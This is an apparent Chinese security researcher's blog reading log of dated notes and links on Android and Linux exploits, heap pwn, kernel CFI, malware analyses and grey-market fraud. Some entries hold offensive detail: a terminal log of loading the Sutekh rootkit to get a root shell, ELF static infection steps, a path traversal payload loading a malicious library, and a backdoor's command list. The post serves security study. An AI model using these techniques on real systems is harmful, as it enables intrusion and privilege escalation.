知识库日常积累

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/tangsilian/article/details/80269162

12-14

三星手机远程代码执行漏洞Remote Code Execution as System User on Android 5 Samsung Devices abusing WifiCredService (Hotspot 2.0)

利用技巧
https://blog.quarkslab.com/remote-code-execution-as-system-user-on-android-5-samsung-devices-abusing-wificredservice-hotspot-20.html

12-03

Frida好的文章的收集

使用frida来脱壳:
https://www.anquanke.com/post/id/163390


11-15

CTF pwn 中最通俗易懂的堆入坑指南

https://www.anquanke.com/post/id/163971#h2-6
虚拟内存的结构:
在这里插入图片描述

堆的基本结构:
在这里插入图片描述

堆管理器 ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。
几个堆的数据结构:
在这里插入图片描述


10-24

利用ARM MMU硬件特性开启安卓8终端的上帝模式

理解PAN和PXN是啥?
https://bbs.pediy.com/thread-228453.htm
PXN:内核不能直接执行用户态代码
PAN:内核无法直接访问用户态数据


10-16

Control Flow Integrity in the Android kernel

https://android-developers.googleblog.com/2018/10/control-flow-integrity-in-android-kernel.html

Android Kernel Control flow Integrity分析
目前,常见的劫持内核执行流有三种方式:
(1)修改函数返回地址;
内核普遍开启CC_STACKPROTECTOR_STRONG配置,单一的栈溢出漏洞很难修改函数返回地址。
(2)修改函数指针;
修改函数指针比较容易,搭配代码重用攻击(例如ROP),攻击者可以在内核执行自己的代码。
但是到了clang之后 出现了CFI
(3)修改系统调用表/异常向量表。
系统调用表/异常向量表的内存属性为只读,想要修改其中项,需要先修改相应页表属性。

在函数指针前出入一段check代码:
https://c0reteam.org/2018/09/17/kcfi


10-11

BSidesLV-Talk-Treble-or-Trouble

由谷歌的新设计Treble-or-Trouble进而引出的漏洞

https://blog.zimperium.com/wp-content/uploads/2018/08/BSidesLV-Talk-Treble-or-Trouble.pdf


9-21

浏览器UI漏洞白皮书:

https://xlab.tencent.com/cn/2017/10/16/browser-ui-security-whitepaper/

UI漏洞的实例: 字符欺骗
https://xlab.tencent.com/en/2018/11/13/cve-2018-4277/

pwn2own上攻破谷歌浏览器的漏洞cve-2015-6764
在这里插入图片描述

漏洞检测代码
<html>
<script>
var array = [];
var funky = {
  toJSON: function() { array.length = 1; return "funky"; }
};
for (var i = 0; i < 10; i++) array[i] = i;
array[0] = funky;
var expected = '["funky",null,null,null,null,null,null,null,null,null]';
var expected2 = '["funky"]';
var result = JSON.stringify(array);
console.log(result);
if(result===expected||result===expected2){
    console.log("result=safe");
}else{
    console.log("result=vulnerable");
}
</script>
</html>

https://github.com/secmob/cansecwest2016/blob/master/exploit.html


9-10

短网址攻击与防御

长短网址转换的计算方式:

  • 进制算法
  • 随机数算法
  • HASH算法

进制算法导致的问题:

攻击案列:
1.爆破获取大量服务,敏感信息
2.攻击业务链
3.链接中存在其他web方面的漏洞

防御措施

补救措施(存量)
1、 增加单IP访问频率和单IP访问总量的限制, 超过阈值进行封禁。
2、 对包含权限、 敏感信息的短网址进行过期处理。
3、 对包含权限、 敏感信息的长网址增加二次鉴权

改造措施(增量)
1、 不利用短网址服务转化任何包含敏感信息、 权限的长网址。
2、 尽量避免使用明文token等认证方式。


8-31

30 理解何为ssl-pinning

HTTPS实际上是由HTTP协议与TLS协议组合而成的一个协议
如何突破TLS 实现中间人劫持

https://www.jianshu.com/p/22b56d977825


8-29

29.Android安全开发之通用签名风险

了解签名的过程,并看了三种绕过方式。

https://segmentfault.com/a/1190000006205334

https://blog.csdn.net/AliMobileSecurity/article/details/52087911


8-15

28.Man-in-the-Disk:新的针对 Android App 的攻击面

Android应用在sd上的操作并不安全
https://www.anquanke.com/post/id/156149

英文原版:https://research.checkpoint.com/androids-man-in-the-disk/


8-10

27.编译器优化导致的漏洞

http://blogs.360.cn/blog/eos官方api中asset结构体的乘法运算溢出漏洞描述/

并且默认开启了编译器优化,优化级别是O3,比较激进的一个级别。


7-26

26:浏览器保存密码的获取的新思路

https://bbs.pediy.com/thread-230110.htm 用于取证


7-23

###25:Android 反hook的思路
https://d3adend.org/blog/?p=589
中文翻译:https://blog.csdn.net/fzs4idiot/article/details/52155849
https://www.anquanke.com/post/id/85427 梆梆加固的病毒 增加了一条套路 kill 相关进程


7-19

24 roit骚气的反作弊行为

https://engineering.riotgames.com/news/riots-approach-anti-cheat


7-16

23 Hussarini——一个正将菲律宾作为攻击目标的后门

入口:CVE-2017-11882钓鱼

释放%Temp%目录中放入两个文件。

l Outllib.dll (dll劫持)

l OutExtra.exe

Outllib.dll实际上是Hussarini后门,一个能够导出包含恶意代码的函数的DLL。执行文件OutExtra.exe时,会调用其中一些函数,从而有效地执行其恶意代码。

l  systeminfo –获取计算机的系统信息
l  arp –a – 查看IP地址到MAC地址的映射
l  ipconfig /all – 显示所有当前的TCP/IP网络配置值
l  netstat -ano –  显示协议统计信息和当前TCP/IP网络连接
l  tasklist -v –用于所有任务运行的应用程序和服务列表及其进程ID(PID)。
l  net start –启动正在运行的各种服务
l  net view –显示网络上可见的其他计算机
l  dir “c:users” /o-d –显示所有用户
在发送这些cmd命令后,C&C会停止响应。这可能是黑客决定在看到这些命令的结果后阻止连接。
根据其代码,这个恶意软件能够执行以下来自黑客的命令:
l  创建读、写文件
l  下载并执行文件/组件
l  使用cmd.exe启动远程shell

动态域名


7-12

22 漏洞挂马网站趋势分析

http://drops.xmd5.com/static/drops/papers-8025.html


7-11

21 蜜罐与内网安全

https://sosly.me/index.php/2017/08/23/goldenspark1/


7-6
###20 PE文件全解析
http://www.4hou.com/system/7782.html

熟悉PE结构(IAT INT )
pe结构


6-25

19.利用定时任务进行linux 特权升级

介绍了crontab的特性
https://www.anquanke.com/post/id/149325

同时使用了通配符注入,进行权限提升
cat --help
http://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/


6-21

18.http://akaedu.github.io/book/ch34s01.html

xshell 登录后终端上按键显示特别慢的问题


6-20
###17 linux 一个rootkit后门

更改uid 1337进程的属性,当程序使用setuid(1337)时 即可获得root权限进行操作。

https://github.com/PinkP4nther/Sutekh

复现成功:

test@ubuntu:~/Desktop/attack-demo/c-mitx3$  uname  -a
Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
test@ubuntu:~$ git clone  https://github.com/PinkP4nther/Sutekh
Cloning into 'Sutekh'...
remote: Counting objects: 36, done.
remote: Compressing objects: 100% (34/34), done.
remote: Total 36 (delta 17), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (36/36), done.
Checking connectivity... done.
test@ubuntu:~$ cd Sutekh
test@ubuntu:~/Sutekh$ ls
getroot.c  Makefile  README.TXT  sutekh.c
test@ubuntu:~/Sutekh$ make
make -C /lib/modules/4.2.0-27-generic/build M=/home/test/Sutekh modules
make[1]: Entering directory `/usr/src/linux-headers-4.2.0-27-generic'
  CC [M]  /home/test/Sutekh/sutekh.o
/home/test/Sutekh/sutekh.c: In function ‘mal_suidcall’:
/home/test/Sutekh/sutekh.c:42:3: warning: format ‘%hu’ expects argument of type ‘int’, but argument 2 has type ‘kuid_t’ [-Wformat=]
   printk(KERN_INFO "[+] UID = %hu\n[+] EUID = %hu",current->cred->uid,current->cred->euid);
   ^
/home/test/Sutekh/sutekh.c:42:3: warning: format ‘%hu’ expects argument of type ‘int’, but argument 3 has type ‘kuid_t’ [-Wformat=]
/home/test/Sutekh/sutekh.c: In function ‘hload’:
/home/test/Sutekh/sutekh.c:91:2: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘void **’ [-Wformat=]
  printk(KERN_INFO "[+] Got sys call table address: 0x%x",sct_address);
  ^
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/test/Sutekh/sutekh.mod.o
  LD [M]  /home/test/Sutekh/sutekh.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-27-generic'
test@ubuntu:~/Sutekh$ gcc getroot.c -o getroot.c 
test@ubuntu:~/Sutekh$ sudo insmod sutekh.ko 
[sudo] password for test: 
test@ubuntu:~/Sutekh$ ./getroot.c 
[+] UID = 0
[+] EUID = 0
[!!!] Popping r00t shell!!!
root@ubuntu:~/Sutekh# 

6-15
###16 开源Web服务器GoAhead漏洞CVE-2017-17562分析

分析漏洞如何使用 LD_PRELOAD
https://habo.qq.com/news/detail/ADQGZl1q


6-13
##15.关于QQ空间的两篇灰产

http://www.freebuf.com/articles/network/174614.html
1.第三方授转发动态
2.网络钓鱼
3.获取QQ cookie, uin值和skey值是进不去QQ空间的重点有个吧uin值和skey值转换成sid值才能进到QQ空间发空间。

对应云盘黑色产业链:
http://www.freebuf.com/special/174473.html
1.来源,主要是含有漏洞的摄像头~


6-12

##14.几道pwn题的writeup

https://www.anquanke.com/post/id/147285

Robot:scanf溢出


6.6

13.Aceessbility点击劫持攻击

https://sec.xiaomi.com/article/36
https://www.zscaler.com/blogs/research/rumms-malware-back-enhancements

6.5

12.BEC智能合约致命漏洞(整数溢出)

https://www.anquanke.com/post/id/146702
1.合约代码里存在整数溢出漏洞


6.4

11.棋牌类游戏木马分析

https://www.anquanke.com/post/id/146848
1.修改游戏组件
2.篡改系统组件
3.放置后门
pass杀软的方法:白利用,断网执行,使用游戏组件诱导杀软进入游戏模式。


6.3

10.diff和patch的用法

https://linux.cn/article-9710-1.html
diff -urN test1 test2 >1.patch
patch rc.lua.4.2 -i 1.patch -o rc.lua


5.22

9.Linux系统之Redis扩散病毒继续分析

理解他如何清除痕迹 如何蠕虫扩散
http://www.freebuf.com/articles/system/171458.html


5.21

8.软件断点调试原理和系统中断页表

int 0x03 断点原理:https://blog.csdn.net/trochiluses/article/details/20209593

中断向量表:https://baike.baidu.com/item/中断向量表


5.18

7.ELF文件静态注入

ELF文件格式:主要注意重定位的内容
https://blog.csdn.net/feglass/article/details/51469511

然后就是ELF文件的静态感染,手动实现
我们做感染时的修改方式为:

(1)复制整个program_header_table,将它移动到文件尾。

(2)复制一个program_table_element,添加在新program_header_table后面。

(3)修改elf_header.e_phoff指向新program_header_table,并且将elfheader.e_phnum的值加1。

(4)从图3中的“1”,“2”得到字符串表的位置,并且复制到文件尾

(5)修改新字符串表,添加自定义模块名,本文使用“libhello.so"

(6) 修改新添加的program_table_element,p_type为PT_Load,p_offset为新program_table_header的文件偏移,p_filesz和p_memsz为新添加数据的长度,修改p_flags为“7",即可读可写可执行。修改p_vaddr和p_paddr时注意不能与前面两个PT_Load段的地址有重叠。

(7)修改program_header_table.program_table_element[0]中的p_offset和p_filesz为新program_header_table的位置和大小,修改p_vaddr,p_paddr和p_memsz为新program_header_table映射到内存的位置和大小。

(8)修改图3中的"1""2"为新字符串表的位置和大小,这里要注意DT_STRTAB必须为虚拟地址而不是文件偏移。

(9)在图3的"4"处添加一个DT_NEEDED指向自定义so的名称字符串“libhello.so"。

http://gslab.qq.com/portal.php?mod=view&aid=163

补充:增加section和section/函数加密
https://blog.csdn.net/jiangwei0910410003/article/details/49962173
https://blog.csdn.net/jiangwei0910410003/article/details/49966719


5.16

6.突破Android P(Preview 1)对调用隐藏API限制的方法

https://mp.weixin.qq.com/s/4k3DBlxlSO2xNNKqjqUdaQ
观察Android源码对隐藏API的限制原理和实现,然后说明了如何pass该限制的三种方法。


5.15

5.Android路径穿越漏洞分析

<几种通用的安卓平台路径穿越漏洞的挖掘与利用>

议题总结了安卓平台下路径穿越类漏洞的各种利用场景和挖掘方法,通过我们发现的qq,腾讯邮箱,网易邮箱,搜狗浏览器等app中的漏洞实例讲解了此类漏洞的危害和一些通用的利用方法

路径穿越解读:https://www.anquanke.com/post/id/145005#h2-4
原PPT:https://pan.baidu.com/s/1jAAGvukDuWp5ijAEk1EWQw

持续关注ZipperDown:https://www.anquanke.com/post/id/145124


5-14

###4 Android 的Got表Hook
refer:https://mp.weixin.qq.com/s/R0iFszBpQ1IcjbZoQZdqoA

注意linker的部分:
等一下!我们似乎发现了什么!再看一遍重定位操作(relocate)的部分。难道我们只要从这些 .relxxx 中获取到“目标地址”,然后在“目标地址”中重新填上一个新的函数地址,这样就完成 hook 了吗?也许吧。

原理:先找到加载的库里面加载函数的在内存中的地址 取出 修改可读写权限 变更为另一个我们自己的函数

Android进程的so注入–Poison(稳定注入版)
https://blog.csdn.net/QQ1084283172/article/details/53869796

inlinehook的 讲解 :
http://ele7enxxh.com/Android-Arm-Inline-Hook.html
理解如何修正指令和边界范围 最后再用我们自己的函数替换 要hook的函数


5-11

3.移动灰产之改机软件

refer:https://www.anquanke.com/post/id/129780

修改手机基本信息,进行引流。黑灰产从业者会通过自动批量的操作,以及更高明的“文案”,在短时间,完成大量引流。如此例所示,通过美女视频或图片引流来的用户在业内中称为“色粉”,大多为男性用户,可被定向引流至销售男性用品的微商,或被诱导发红包观看色情视频,最终上当受骗。

与抢单,或者薅羊毛不同 因为没有涉及到手机所以没有批量注册的功能。同时抢到需要多个协议支持。

手机验证码常见漏洞总结:
验证码漏洞最常见的是短信轰炸(无间隔下发,无线下发)
https://mp.weixin.qq.com/s/jtJl2GFacMyRCQsBUiTVSA

强力推荐:薅羊毛灰产研究报告
http://image.3001.net/uploads/pdf/4aa87c46888173995c295a873c2aa682.pdf

移动博彩类:https://mp.weixin.qq.com/s/aOlZmdzzye2AsqGDa3hcbg

互联网黑灰产工具软件安全报告:https://www.anquanke.com/post/id/160026


5-10

2. LG智能手机上的远程执行代码漏洞,利用两个漏洞进行

refer:https://research.checkpoint.com/lg-keyboard-vulnerabilities/

第一个漏洞:硬编码更新服务器,并使用不安全的HTTP进行连接。
攻击方式:中间人劫持,并下方恶意代码。

第二个漏洞:路径穿越
利用 …/…/…/files/attack.so 使输入法加载我们的恶意so,完成恶意代码远程执行


5-09

1.详解Linux权限提升

refer:https://www.anquanke.com/post/id/98628#h3-8

  1. 内核开发
  2. 利用正在以root身份运行的服务
  3. 利用可执行文件SUID
  4. 利用SUDO权限/用户
  5. 利用未正确配置的CRON任务
  6. 在用户路径上利用’.’实现利用
    7.LD_PRELOAD https://blog.csdn.net/haoel/article/details/1602108
    8.IFS漏洞 http://www.dankalia.com/tutor/01005/0100501004.htm

猜你喜欢

转载自blog.csdn.net/tangsilian/article/details/80269162
今日推荐